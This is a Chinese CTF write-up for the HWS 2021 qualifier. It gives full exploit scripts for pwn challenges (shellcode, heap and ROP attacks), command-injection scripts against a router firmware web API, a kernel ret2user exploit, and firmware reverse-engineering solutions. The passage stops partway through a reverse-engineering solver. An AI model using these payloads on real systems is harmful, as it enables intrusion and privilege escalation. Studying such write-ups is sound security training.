HWS 2021 入营赛 Pwn/固件/内核

本次入营赛时长4天半,仍然由安恒承办,赛题只有四类:固件、内核、逆向、Pwn。对于二进制选手足够友好,其中固件题目与IoT实战结合紧密,难度总体来说不大,入门友好型赛题。自己在比赛中也学到了很多东西,最终AK了Pwn和固件,内核和逆向分别做出来最简单的一个,总成绩排名第二。

image

Pwn

emarm

aarch64:libc2.27,qemu运行,默认没有NX,所以可以写shellcode

  • 漏洞:输入和生成的随机数判等后可实现一个任意地址写8字节,其中随机数长度与输入相等,故一字节随机数爆破即可
  • 利用:写GOT表后回到main继续任意写,然后写shellcode到data段,最后在写GOT表,劫持到shellcode即可
from pwn import *
context(log_level='debug')

# shelcode from https://www.exploit-db.com/shellcodes/47048

sc1 = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2"
sc2 = "\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
sc3 = "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa"
sc4 = "\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
sc5 = "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

fread_got = 0x412060
main_read = 0x400BE4

def aaw(addr,data):
    io.recv()
    io.send(str(addr))
    io.sendafter("success",data)
    io.sendlineafter("bye",'2')

while 1:
    try:
        io = process(["qemu-aarch64", "-L", ".", "./emarm"])
        #io = remote("183.129.189.60",10012)
        io.sendlineafter(":","a")
        aaw(fread_got,p64(main_read))
        aaw(0x412080,sc1)
        aaw(0x412088,sc2)
        aaw(0x412090,sc3)
        aaw(0x412098,sc4)
        aaw(0x4120a0,sc5)
        aaw(fread_got,p64(0x412080))
        io.interactive()
    except EOFError:
        io.close()
        continue

另外可以提前利用任意地址写free_got->printf_plt 完成泄露libc,由于qemu-user在固定环境下基址全是固定的,所以泄露的基址下次可以再用。泄露方法具体参考我媳妇博客:HWS2021冬令营选拔赛,故泄露后写GOT表到one_gadget即可:

from pwn import *
context(log_level='debug')

libc_addr  = 0x4000830000
fread_got  = 0x412060
one_gadget = 0x63e80

while 1:
    try:
        io = remote("183.129.189.60",10012)
        io.sendlineafter(":","a")
        io.recv()
        io.send(str(fread_got))
        io.sendlineafter("success",p64(libc_addr + one_gadget))
        io.sendlineafter("bye",'0')
        io.interactive()
    except EOFError:
        io.close()
        continue

ememarm

aarch64:libc2.27,qemu运行,默认没有NX,所以可以写shellcode

  • 漏洞:在修改堆块内容功能处,存在off-by-null,导致堆块指针最低位可以被置零
  • 利用:用空字节溢出两个除最低位地址相同的堆块指针,然后即可造成对于该地址处堆块的double free,故构造tachedup实现任意任意地址写,可以采取先leak然后写one_gadget的策略

不过觉得自己在比赛中的解法也很精彩,即偷懒也巧妙:

  • 偷懒在于:由于qemu没有NX,则shellcode一定可以搞定(比赛时没搞定leak libc)
  • 巧妙在于:可用的tache链不够,每次任意地址写的数据也只有16字节,但在第一次tachedup时的第二次malloc可以修改程序中链表的next指针导致索引到伪堆块,从而利用edit功能继续任意地址写,这里可以写24个字节,网上找到的aarch64的shellcode最短正好40个字节,故第二次tachedup劫持控制流到shellcode即可
from pwn import *
context(log_level='debug')
io = process(['qemu-aarch64','-L','./','./ememarm'])
#io = process(['qemu-aarch64','-g','1234','-L','./','./ememarm'])
#io = remote("183.129.189.60",10034)
sla     = lambda delim,data         :  io.sendlineafter(delim,data)
sa      = lambda delim,data         :  io.sendafter(delim,data)
init    = lambda name               :  (sla("4268144",name))
add     = lambda data1,data2,yes    :  (sla(":","1"),sa("cx:",data1),sa("cy:",data2),sla("?",str(yes)))
add2    = lambda data1,data2,yes    :  (sla(":","4"),sa("cx:",data1),sa("cy:",data2),sla("?",str(yes)))
edit    = lambda idx  ,data         :  (sla(":","3\n"+str(idx)+"\n"+data))

# shelcode from https://www.exploit-db.com/shellcodes/47048

sc1 = "\xe1\x45\x8c\xd2\x21\xcd\xad\xf2"
sc2 = "\xe1\x65\xce\xf2\x01\x0d\xe0\xf2"
sc3 = "\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa"
sc4 = "\xe2\x03\x1f\xaa\xe0\x63\x21\x8b"
sc5 = "\xa8\x1b\x80\xd2\xe1\x66\x02\xd4"

init('xuan')


# first tcachedup:                  # write shellcode(0x40 bytes) to 0x412058

add('a','a',1)
add('a','a',1)
add('a',p64(0x31),1)                # prepare a fake 0x31 chunk in 0x413300(myself local heap addr)
add('a','a',1)
add('a','a',1)
edit(4,'a'*24)                      # free a fake 0x31 chunk in 0x413300(myself local heap addr)
edit(3,p64(0)+p64(0x31)+'a'*8)      # fix the fake chunk size to 0x31 for malloc right and free it again
add(p64(0x412058),p64(0),1)         # make fake chunk fd  : 0x412058(.data) in tcache
add(p64(0),p64(0x412068),0)         # link fake chunk 4   : 0x412068(.data) to list
add(sc1,sc2,0)                      # write shellcode part 1 - 2 (16 bytes) to 0x412058
edit(4,sc3+sc4+sc5)                 # write shellcode part 3 - 5 (24 bytes) to 0x412068


# sencond tcachedup:                # write shellcode_addr(0x412058) to 0x412008(malloc@got)

add2('a','a',1)
add2('a','a',1)
add2('a','a',1)                     # don't need prepare a fake chunk in 0x413400(myself local heap addr)
add2('a','a',1)                     # because this addr real have a 0x41 chunk
add2('a','a',1)
edit(8,'a'*24)                      # free a fake 0x41 chunk in 0x413400(myself local heap addr)
edit(7,'a'*24)                      # free it again
add2(p64(0x412008),p64(0),1)        # make fake chunk fd : 0x412008(malloc@got) in tcache
add2(p64(0),p64(0),0)
add2(p64(0x412058),'a'*8,0)         # write shellcode_addr(0x412058) to 0x412008(malloc@got)


# malloc to trigger shellcode

sla(":","1")                            
io.interactive()

justcode

x86_64:libc2.23, canary, NX

  • 漏洞:sub_400CCA未初始化栈变量,sub_400C47存在栈溢出。
  • 利用:比较复杂,如下
  1. sub_400CCA的平级函数,sub_400C47函数栈上数据全部可控,导致再次回到sub_400CCA时,利用未初始化的变量可以实现一次任意四字节(int)地址 写 任意四字节(int)数据
  2. 故利用任意地址写,写sub_400C47函数中能触发到的GOT表项为有ret的gadget,由于栈数据全部可控,即可触发ROP
  3. 但由于任意地址写的地址和数据都只有4字节的限制,故劫持的函数不能是已经解析完并含有libc高地址的GOT表项,由于目标函数可以触发栈溢出,故选择stack_chk_fail为GOT表修改目标,另外程序本体中的gadget地址天然满足小于四个字节
  4. 最后由于程序禁用了execve系统调用,故要使用orw的ROP去读flag。所以要先leak libc,但栈溢出空间不够,故分成三次ROP完成整个利用,每次ROP后再次回到漏洞函数,重新控制栈上数据以及触发ROP即可

值得一提的是:其中第二次rop的是调用read读取flag路径,也就是rop执行过程中会去和攻击者进行交互,以获取之后的执行相关数据或者代码,这种思路主要是和煜博学到的:Favourite Architecture II - Startctf 2021。此法中,数据和shellcode代码分离,其优点是非常明显的,数据可变,而且shellcode不用进行复杂的数据处理。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

myelf = ELF("./justcode")
libc = ELF("./libc-2.23.so")
io = process(myelf.path,env={"LD_PRELOAD":libc.path})
#io = remote("183.129.189.60",10041)
uu64    = lambda data   :u64(data.ljust(8, b'\0'))
sla     = lambda delim,data         :  io.sendlineafter(delim,data)
sa      = lambda delim,data         :  io.sendafter(delim,data)

stack_chk_fail_got  = 0x602038
pop_rdi_ret         = 0x400ea3
puts_plt            = 0x400940
puts_got            = 0x602028
overflow            = 0x400C47

#gdb.attach(io,"b * 0x400ea3")

io.sendlineafter("code","1\n2\n1\n1")
io.sendlineafter("name",'a'*12+p32(stack_chk_fail_got))
io.sendlineafter("id"  ,str(pop_rdi_ret))
io.sendlineafter("info","a")

# frist rop: leak libc
rop = flat([pop_rdi_ret,puts_got,puts_plt,overflow])
io.sendlineafter("name",rop.ljust(137,'a'))

io.recvline()
io.recvline()
libc.address = uu64(io.recv(6))-0x6f6a0
log.success(hex(libc.address))

pop_rdx_ret = libc.address + 0x1b92
pop_rsi_ret = libc.address + 0x202f8

# sencond rop: input flag path and open it into fd 3
rop = flat([
    pop_rdi_ret,0,       pop_rsi_ret,0x602168,pop_rdx_ret,8,libc.symbols['read'],
    pop_rdi_ret,0x602168,pop_rsi_ret,0,                     libc.symbols['open'],
    overflow
    ])

io.sendlineafter("name",rop.ljust(137,'a'))
sleep(0.1)
io.sendline("/flag\x00")

# third rop: read and write flag
rop = flat([
    pop_rdi_ret,3,       pop_rsi_ret,0x602178,pop_rdx_ret,100,libc.symbols['read'],
    pop_rdi_ret,1,       pop_rsi_ret,0x602178,pop_rdx_ret,100,libc.symbols['write'],
    overflow
    ])
io.sendlineafter("name",rop.ljust(137,'a'))
io.interactive()

undlcv

x86_64:libc2.23, canary, NX, No RELRO,比较有意思的是此程序没有任何输出,io全靠sleep

  • 漏洞:堆块本体off-by-null
  • 利用:由off-by-null触发unlink,构造libc2.23 unlink利用方法,可以修改到程序中的数据指针,进而完成任意地址写。由于没有任何输出函数,故无法泄露libc。但因为No RELRO,故利用dl_runtime_resolve完成任意的libc函数调用。
from pwn import *
context(log_level='debug',arch= 'amd64')
myelf = ELF("./undlcv")

#io = remote("183.129.189.60",10013)
io = process(myelf.path)
str_table      = myelf.get_section_by_name('.dynstr').data()
fake_str_table = str_table.replace("free","system")

#gdb.attach(io)
#sleep(1)
sl      = lambda data          :  (io.sendline(data),sleep(0.01))
add     = lambda index         :  (sl("1"),sl(str(index)))
edit    = lambda index,data    :  (sl("2"),sl(str(index)),sl(data))
free    = lambda index         :  (sl("3"),sl(str(index)))

ptr = 0x403480
fd  = ptr - 0x18 
bk  = ptr - 0x10

free_got = 0x403418
str_tab  = 0x4032A0

add(0)
add(1)
fake_chunk = flat([0,0xf1,fd,bk])
edit(0,fake_chunk.ljust(240,'a')+p64(0xf0))

# trigger unlink
free(1)

edit(0,p64(0)*3+p64(str_tab)+p64(free_got)+fake_str_table)

# write ("/bin/sh",fake str_table addr) to str_tab (0x5,real str_table addr)
edit(0,'/bin/sh\x00'+p64(0x403490))

# write 0x401030 to free_got
edit(1,p64(0x401030))

# trigger dl runtime reslove
free(0)
io.interactive()

不过此题getshell后权限是普通用户,而flag只能root用户查看,故还要提权,发现有sudo命令,尝试CVE-2019-14287成功:

image

vtcpp

x86_64:libc2.23:c++, canary, NX, Full RELRO

  • 漏洞:堆块UAF,其中有个函数指针可控
  • 利用:控制流劫持后利用比较麻烦,因为在之前没有leak,所以需要连续控制执行流,最终利用步骤如下:
  1. 开启了NX,故貌似只有rop一条路,那必须想办法控制栈,即rsp指向的数据
  2. c++中strings对象如果字符少于16字节会把串的内容保存在栈上
  3. 调试发现strings存到栈上的位置是rsp+0x28
  4. 正好找到一个add rsp 0x28,ret的gadget
  5. 正好找了一个pop rsp的gadget,故需要16个字节即可把栈搞走
  6. 正好strings对象可以保存栈上最多的数据为16个字节
  7. 上面的步骤串起来就是栈迁移,然后rop完事了

想起了左耳朵耗子那句:一切都是正好,没有生不逢时。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./vtcpp")
libc  = ELF("./libc-2.23.so")
io    = process(myelf.path,env={"LD_PRELOAD":libc.path})
#io = remote("183.129.189.60",10000)

uu64    = lambda data               :  u64(data.ljust(8, b'\0'))
sla     = lambda delim,data         :  io.sendlineafter(delim,data)
create  = lambda name,age,msg       :  (sla(">","1"), sla("name",name), sla("age",age), sla("message",msg) )
delete  = lambda                    :  (sla(">","2"))
show    = lambda                    :  (sla(">","3"))
malloc  = lambda size,data          :  (sla(">","4"), sla("size",str(size)), sla("content",data))
#gdb.attach(io,"b * 0x401a2d")

bss_addr        = 0x603360
bss_rop2        = 0x603400
scanf_got       = 0x602F88 
puts_plt        = 0x401310
read_plt        = 0x401350

pop_rdi_ret     = 0x401ca3   # pop rdi ; ret
pop_rsi_r15_ret = 0x401ca1   # pop rsi ; pop r15 ; ret
add_rsp_0x28    = 0x401a2d   # add rsp, 0x28 ; pop rbx ; pop rbp ; ret
pop_rsp         = 0x401c9d   # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret


rop = flat([
    0x1,0x2,0x3,                                                # pop_rsp: padding 
    pop_rdi_ret, scanf_got , puts_plt,                          # puts(scanf_got):leak libc 
    pop_rdi_ret, 0, pop_rsi_r15_ret, bss_rop2, 0, read_plt,     # read next rop to bss_rop2
    pop_rsp    , bss_rop2 - 0x18                                # pop_rsp: padding in addr
])

name = p64(pop_rsp)+p64(bss_addr+8)[:7]                         # leave it in stack: rsp + 0x28
data = p64(add_rsp_0x28)+rop                                    # leave it in bss 0x603360

############################################## attack 1 ################################################
create(name,"18",data)                   
delete()
malloc(0x38,p64(bss_addr))    # UAF prepare: write func ptr (in heap) to bss_addr
show()                        # UAF trigger: 0x603340 -> func ptr(bss_addr:0x603360) -> run add_rsp_0x28
########################################################################################################

io.recv() 
libc.address = uu64(io.recv(6))-0x6a7f0
log.success(hex(libc.address))

pop_rdx_ret = libc.address + 0x1b92
pop_rsi_ret = libc.address + 0x202f8

rop2 = flat([
    pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 8  , libc.symbols['read']  ,
    pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 0  , libc.symbols['openat'],
    pop_rdi_ret, 3, pop_rsi_ret, bss_addr, pop_rdx_ret, 100, libc.symbols['read']  ,
    pop_rdi_ret, 1, pop_rsi_ret, bss_addr, pop_rdx_ret, 100, libc.symbols['write'] ,
])


############################################## attack 2 ################################################
io.send(rop2);sleep(0.1)
io.sendline("/flag\x00")
io.interactive()
########################################################################################################

固件安全

其他AK固件的WP找到一份:lxonz: 2021HWS冬令营线上赛固件安全WriteUp

STM

STM32:arm:firmware

STM32固件逆向,给出用IDA分析STM32的方法:SCTF 2020 Password Lock Plus 入门STM32逆向,IDA分析视频如下:

B站的外链不让用high_quality=1调整视频为高清了,妈的你他妈差那点流量么?我可以付费,但是你没有这个业务啊,真是好小家子气。老子去用youtube,用了一下发现真他妈舒服,发布时无审核,外链可以高清,开头没广告。国内的生态是真他妈垃圾,还各种网络不通,整点啥都贼费劲,上面为youtube外链,自行解决观看办法。

B站备用:使用IDA分析STM32固件

解题代码:

a = [   
        0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,
        0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,
        0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,
        0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,
        0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,
        0x2E,0x64
    ]

flag = ""
for i in a:
    flag += chr((i ^ 0x1E) + 3)
print(flag)

MIPS32:linux:goahead

嵌入式Web,路由器登录页面,给了固件,题意应该是前台getshell,故两大思路:

  1. 登录框:登录绕过、注入、溢出
  2. 功能API:前台getshell、后台getshell+前台绕过

审计goahead本体,登录框处溢出无果,转而审计接口api,可以从Web前端和服务器后端分别寻找。前端是入口,后端是实现,所以还是主要放在实现上,因为可能出现两种前后不对应的情况:

  1. 前端有接口,但后端没有发现对应的处理方法:没实现、被弃用
  2. 前端无接口,但后端发现了接口以及处理方法:隐藏接口、后门、弃用功能,但只在前端去掉了入口

对于本题:

  1. getinfo.js翻到接口api
  2. goahead本体找到接口实现,其注册函数为:formDefineCGIjson

具体分析方法可以参考我媳妇的WP:blinkblink题解.docx。总之,审到了两个api:

  • 命令执行有回显:goform/set_cmd: cmd
  • 命令注入无回显:goform/set_1TR2TR_cfg: info

有回显的直接可以翻到flag:

import requests,json
while 1:
    command  = raw_input("> ")
    response = requests.post("http://183.129.189.60:10035/goform/set_cmd",data={'cmd':command})
    print(json.loads(response.content)['cmdinfo'])

无回显的可以写文件(开始没权限需要chmod 777):

import requests
while 1:
    cmd  = "chmod 777 /home/goahead/etc_ro/web/admin/images/wifiOn.gif;"
    cmd += raw_input("> ")+" > /home/goahead/etc_ro/web/admin/images/wifiOn.gif;"
    for i in range(3):
        try:    requests.post("http://183.129.189.60:10035/goform/set_1TR2TR_cfg",data={"info":"11;%s"%cmd})
        except: pass
    response = requests.get("http://183.129.189.60:10035/admin/images/wifiOn.gif")
    print(response.content)

无回显的也可以盲注,网络不稳定时,及其不准。但因为开始没有审出来那个有回显的,写文件也不成功,因为没改权限,所以也是没办法的办法,最起码开始把flag路径注出来了:

import requests,time
url = "http://183.129.189.60:10035/goform/set_1TR2TR_cfg"
flag = ''
pos = 1
#cmd = "find /home/ -name 'login.css'"
#cmd = "find /home/ -name 'flag*'"
cmd = "cat /home/goahead/flag.txt"
while 1:
    print("[+]new pos")
    print("[+]%s"%flag)
    for i in range(32,127):
        payload = {
            "info":"11;%s  | cut -c%s | tr %s 9 | xargs sleep;" % (cmd,str(pos),chr(i))
        }
        try:
            t1 = time.time()
            requests.post(url=url,data=payload,timeout=10)
            t2 = time.time()
        except:
            t2 = time.time()
        if t2-t1 > 7:
            pos += 1
            flag += chr(i)
            print flag
            break

成功证明:

image

httpd

arm:linux:libc2.27:boa,No canary,Full RELRO,PIE

西湖论剑修改题:babyboa,仍然是分析boa程序,这里名为httpd,分析baisc认证处理函数sub_A8DC:发现栈溢出还在,但是程序开了PIE,故没法利用。但多了一段代码:

if ( !strcmp(byte_31320, "Http-Server") ){
    snprintf(v10, 0xC8u, "echo %s>/tmp/xx", *(const char **)(a1 + 104));
    system(v10);
}

其中byte_31320是一个全局变量,存放每次basic认证base64解密后的字符串,交叉引用分析发现其值每次不会清空,只会在baisc串解完之后赋值。故前一次使用Http-Server作为basic认证的用户名登录,第二次则会进入到if分支中执行system命令。

故这里就存在了嵌入式中常见的命令注入漏洞,先sprintf把命令格到一个变量里,然后system执行。这个考点非常好!因为现实中嵌入式设备的常见漏洞就是这个模式,而且就是如此的简单!那注入点*(a1 + 104)是什么呢?显然有三种分析方法:

  1. 源码分析(boa是开源的)
  2. 二进制静态分析
  3. 动态调试

对于这个问题来说,静态分析 > 源码分析> 动态调试,因为结构体看起来不大,就是一级指针,静态分析二进制应该难度不大。并且题目boa加入了一个功能,不能判断题目是否对该结构体的定义进行的修改,故源码分析可能带来不必要的麻烦,不过针对本题,导入源码头文件分析没有任何问题:lxonz: 2021HWS冬令营线上赛固件安全WriteUp。最后此题因为缺少程序的配置文件以及多进程,动态调试并非轻而易举。静态分析方法如下:

  1. 分析sub_A8DC的第二个参数a2,其父级函数sub_7ED4调用时使用*(a1 + 108)为参数
  2. 而在sub_A8DC能看到需要比较a2是否是Basic字符串
  3. *(a1 + 108)即HTTP头的Authorization字段,故寻找此字段的相关操作
  4. 找到sub_8098函数:strcmp(v1, "AUTHORIZATION") || a1[27],因27*4==108,故寻找a1[26]
  5. 找到if (!strcmp(v1, "REFERER")){a1[26] = v5;,故HTTP头字段REFERER命令注入
  6. 因为是system,故命令执行无回显,尝试curl带出数据成功

image

所以程序开了PIE也是希望用选手命令注入做,而非栈溢出。

那最后尝试一下调试,对于本题来说,其实但从给的附件是无法启动httpd程序的,需要使用西湖论剑中的配置文件来配置好系统,这些内容可以在西湖论剑的附件:西湖论剑 2020 IoT闯关赛 赛后整理中找到:pwn1.squashfs,具体来说就是这个start.sh:

mkdir -p /var/log/boa && mkdir /etc/boa && mkdir /html

cp /workspace/mime.types /etc/mime.types
cp /workspace/boa.conf /etc/boa/boa.conf

echo "<h2>Login success! Hello admin!</h2>" > /html/index.html 

if [ ! -f "/dev/urandom" ]; then
  echo "Hatlabeadec28038107386e710d0eba061e224" > /dev/urandom
fi

if [ ! -f "/dev/null" ]; then
  touch /dev/null
fi

cat /dev/urandom | head -n 1 > /tmp/passwd && chmod 777 /tmp/passwd

chmod +x /workspace/boa
/workspace/boa -c /html -f /etc/boa/boa.conf 

所以需要让自己的系统中这些东西都在,改吧改吧脚本就行了。启动后,调试这题有两个难点:PIE和多进程。如果是正常x86本地程序,这两个都不是什么问题:

  1. PIE:可以关闭本地随机化,然后看vmmap / 每次看vmmap
  2. 多进程:gdb attach pid / 设置gdb选项set follow-fork-mode child

本地基本都有两种以上的方法解决如上问题,但如果是qemu-user跑起来的程序,分析可知:

  1. 对于PIE:qemu-user本身对于随机化实现就不完全,所以只要确定一次地址就可以了,但qemu模拟的程序如果是32位,则程序地址不是直接映射,故需要在调试器里看vmmap
  2. 对于多进程:显然attach pid是不行的,因为attach是本地的qemu进程,而不是qemu给你的模拟gdb接口,看起来就只有gdb选项set follow-fork-mode child一条路了
  • 问:那vmmapset follow-fork-mode child,在qemu-user的情境下,是否还可以使用呢?
  • 答:几乎用不了!

更细的原理分析及实例将会单开一篇博客,敬请期待。这里只写本题的调试方法,绕过不好使的vmmap和跟进子进程:

  • PIE:待调试器本身发现了足够的地址空间映射后,想办法先断下来,然后全局搜索程序相关的字符串,即可定位程序地址
  • 多进程:对于boa程序来说,在启动时如果有参数-d,即可禁用fork,故单进程即可随意开心的调试了,源码如下:

https://github.com/gpg/boa/blob/master/src/boa.c

static void parse_commandline(int argc, char *argv[])
{
...
    case 'd':
        do_fork = 0;

调试过程比较复杂,视频如下,仍然是youtube外链:

B站备用:GDB调试qemu-arm启动的开启了PIE的boa程序

有了调试,栈溢出可以自行练习

easybios

X86_64:BIOS:UEFI:edk2:https://github.com/tianocore/edk2

binwalk可以解出来一个名为840A8(偏移)的大文件,并分析出其中有PE格式的文件,不过并没有提取出来,原因不详,不过对于840A8这个文件,应该是没有加密的,故可以用IDA直接分析。在IDA中,全局搜索Wrong这个flag输入错误的字符串没有找到,故搜索unicode字符,unicode即UTF-16LE,固定两个字节,ascii字符用两个字节表示,故高位就是00,小端存储,故搜索字节序列57 00 72 00(W r),找到Wrong串如下:

seg000:000000000037F1B8 aWrong:         ; DATA XREF: sub_33BBB3:loc_33BDC9↑o
seg000:000000000037F1B8                 text "UTF-16LE", 'Wrong!',0Dh,0Ah,0

交叉引用过去,找到sub_33BBB3()函数,分析后sub_312169()即为处理函数,IDA7.5参数分析错误,因为是纯异或所以扒出代码,然后异或flag加密串即可:

magic = 'OVMF_And_Easy_Bios'

flag_xor = [
    0x46,0x77,0x74,0xb0,0x27,0x8e,0x8f,0x5b,
    0xe9,0xd8,0x46,0x9c,0x72,0xe7,0x2f,0x5e]

v13 = [0]*512
for i in range(256):
    v13[i] = i
    v13[i+256] = ord(magic[i % 18])

v2 = 0
v3 = 0

while 1 :
    v4 = v13[v2]
    v3 = (v13[v2 + 256] + v4 + v3) % 256;
    v5 = v13[v3]
    v13[v3] = v4
    v13[v2] = v5
    v2 += 1
    if v2 == 256: break

v6 = 0
v7 = 0
v8 = 0
xor_list = []

while(1):
    v8 = v8 + 1
    v9 = v13[v8];
    v10 = (v9 + v7) % 256;
    v11 = v13[v10];
    v13[v10] = v9;
    v7 = (v9 + v7) % 256;
    v13[v8] = v11;
    result = v13[(v11 + v13[v10]) % 256];
    xor_list.append(result)
    v6 += 1
    if v6 == 16:break
    
flag = ''
for i in range(16):
    flag += "%02x" % (xor_list[i]^flag_xor[i])
print(flag)

image

关于字符集问题:

所以对于一个字符到底怎么存储的,简单来说:

  • UTF-8 : 变长,1-4个字节
  • Unicode: 定长,2个字节,就是UTF-16LE

easymsg

arm:linux

西湖论剑修改题:messageBox,不过看代码是读文件过滤了flag,然后协议开头的magic由H4bL1b变成了HwsDDW,但是不知道为啥用原来的读文件直接读flag还是能打通,本地打通了,远程多打几次也通了,原因没细研究:

from pwn import *
import zlib
context(log_level='debug',endian='big')
io = remote("183.129.189.60",10016)

payload = "readFile:"+"/"*0x100+"/flag"
crc = int(zlib.crc32(payload)& 0xffffffff)
io.send("HwsDDW"+p16(len(payload))+"\x01\x02"+p32(crc)+payload)
io.interactive()

原exp成功证明截图如下,base64解码后即为flag:

image

命令执行正解:2020西湖论剑IoT闯关赛系列Writeup(嵌入式PWN部分)

PPPPPPC

ppc:linux

  • 不用逆向,调试发现栈溢出,远程环境一定是qemu,故shellcode一把梭
  • 搜索内存发现两段内存里存着发过去的数据,注意要用栈上的shellcode,拷贝到数据段的shellcode会被截断。
  • 栈地址可以通过远程内存访问报错是打印寄存器泄露,由于是qemu,所以每次不变,故泄露一次,下一次攻击用即可
from pwn import *
context(log_level='debug',endian='big',arch ='ppc')

# shellcode from http://shell-storm.org/shellcode/files/shellcode-86.php

shellcode  = "\x7c\x3f\x0b\x78"
shellcode += "\x7c\xa5\x2a\x79"
shellcode += "\x42\x40\xff\xf9"
shellcode += "\x7f\x08\x02\xa6"
shellcode += "\x3b\x18\x01\x34"
shellcode += "\x98\xb8\xfe\xfb"
shellcode += "\x38\x78\xfe\xf4"
shellcode += "\x90\x61\xff\xf8"
shellcode += "\x38\x81\xff\xf8"
shellcode += "\x90\xa1\xff\xfc"
shellcode += "\x3b\xc0\x01\x60"
shellcode += "\x7f\xc0\x2e\x70"
shellcode += "\x44\x00\x00\x02"
shellcode += "/bin/shZ"

#io = process(['./qemu-ppc-static','-g','1234','./PPPPPPC'])
io = remote("183.129.189.60",10039)
io.sendlineafter("name",shellcode.ljust(316,'a')+p32(0xf6fffab8))
io.interactive()

gdb.cmd:

file PPPPPPC
set architecture powerpc:403
set endian big
b * 0x100b3390
target remote :1234

nodemcu

nodemcu:esp8266:xtensa:firmware

比赛时没仔细看是个啥玩意,binwalk也没分析出指令集来,strings直接出flag:

➜  strings nodemcu.bin
flag{
6808dcf0
-526e-11eb-92de-
acde48001122

赛后查了一下,看起来是底层是ESP8266,之前看过用这玩意做的wifi杀手(就是发断网包):ESP8266 WiFi杀手终极版操作演示。正好最近买了一个,过一阵研究研究:

内核安全

第一次做内核,基础学习文章如下:

基础练习题目如下:

进阶练习题目如下:ISCN2017 - babydriver、2018 强网杯 - core、2018 0CTF Finals Baby Kernel

ddkernel

x86_64:linux

啥保护也没开的内核栈溢出,ret2user即可。主要说一下上传的问题,自己练习的过程中,编译完exp可以重打包到文件系统中,但是题目里需要上传,于是有两个问题:

  1. 怎么上传?
  2. 上传太慢怎么办?

上传脚本

在:Linux Kernel Pwn 初探抄到上传方法,本质是base64编解码+echo追加写,上传过程会显示百分比,界面很友好:

from pwn import *
#context(log_level='debug')
#io = process("./boot.sh")
io = remote("183.129.189.60",10015)

def exec_cmd(cmd):
    io.sendline(cmd)
    io.recvuntil("$ ")

def upload():
    p = log.progress("Upload")
    with open("./exp", "rb") as f:
        data = f.read()
    encoded = base64.b64encode(data)
    io.recvuntil("$ ")

    for i in range(0, len(encoded), 600):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> /tmp/benc" % (encoded[i:i+600]))

    exec_cmd("cat /tmp/benc | base64 -d > /tmp/bout")
    exec_cmd("chmod +x /tmp/bout")

upload()
io.interactive()

上传速度

正常用glibc编译完的exp一般在1M上下,对于题目网络环境不好的情况可能要上传非常久,如果中间超时断了,就要重头再来。比赛时我抱着电脑去做饭,还没洗完碗就断了…这里其实有两种解决办法:

  1. 换用体积小的libc如musl,甚至不用libc,直接用纯系统调用
  2. 买一个与题目在同一机房的服务器进行上传

因为之前跟煜博学了risc-v那个shellcode,所以知道如何不用libc写shellcode,要求是避免用格串什么的,完全用系统调用替代libc的库函数,代码如下,编译完只有6k,如果手动调整以下应该可以小到几百字节:

以下代码有bug,不知道为啥用系统调用写execve就不成功,orw flag没问题

asm(
    "execve:\n"
	"mov $59,%rax\n"
	"syscall\n"
	"ret\n"

	"open:\n"
	"mov $2,%rax\n"
	"syscall\n"
	"ret\n"

	"read:\n"
	"mov $0,%rax\n"
	"syscall\n"
	"ret\n"

	"write:\n"
	"mov $1,%rax\n"
	"syscall\n"
	"ret\n"

	"exit:\n"
	"mov $60,%rax\n"
	"syscall\n"
	"ret\n"
);

void * commit_creds = 0xffffffff8105d235;
void * prepare_kernel_cred =  0xffffffff8105d157;

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
    /* puts("[*] root now."); */
}
unsigned long user_cs, user_ss, user_eflags,user_sp,shell2;
void save_stats(){
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}

void shell(){
    //execve("/bin/sh",&a,0);
    char buf[100];
    int a = open("/flag",0);
    read(a,buf,100);
    write(1,buf,100);
    exit(0);
}

int exp(){
    get_root();
    shell2 = (unsigned long)shell;
    asm(
        "push %0\n"
        "push %1\n"
        "push %2\n"
        "push %3\n"
        "push %4\n"
        "swapgs \n"
        "iretq \n"
        :
         :"m"(user_ss), "m"(user_sp), "m"(user_eflags),"m"(user_cs),"m"(shell2)
         : "memory"
     );
}

int main(){
    save_stats();
    char a[0x107];
    long long * payload;
    payload = (long long *)a;
    payload[0] = 0xaaaaaaaaaaaaaaaa;
    payload[1] = 0xaaaaaaaaaaaaaaaa;
    payload[2] = (void *)exp;
    int f = open("/proc/doudou",1);
    write(f,a,0x107);
    exit(0);
    return 0;
}

编译与重打包如下:

gcc -e main -nostdlib -static exp.c -o exp
cp ./exp ./rootfs/
cd rootfs && find . | cpio -H newc -o > ../rootfs.img
cd .. && ./boot.sh

reverse

AK逆向的WP找到三份:

我自己第一次正经看逆向题,完全不会,对windows也不熟,就做了一个,算上固件里STM和easybios,人生总共做过4个逆向,之前做过一个什么老年人逆向,比下面这个还简单:

decryption

x86:windows

爆破即可:

en_flag = [0x12,0x45,0x10,0x47,0x19,0x49,0x49,0x49,
           0x1A,0x4F,0x1C,0x1E,0x52,0x66,0x1D,0x52,
           0x66,0x67,0x68,0x67,0x65,0x6F,0x5F,0x59,
           0x58,0x5E,0x6D,0x70,0xA1,0x6E,0x70,0xA3]

def encrypt(data,index):
    v5 = data;
    v4 = index;
    while 1:
        v3 = 2 * (v4 & v5);
        v5 ^= v4;
